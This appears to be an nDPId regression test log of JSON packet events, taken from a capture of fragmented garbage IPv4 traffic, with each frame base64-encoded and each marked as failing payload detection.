+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737574,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737907,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":737981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 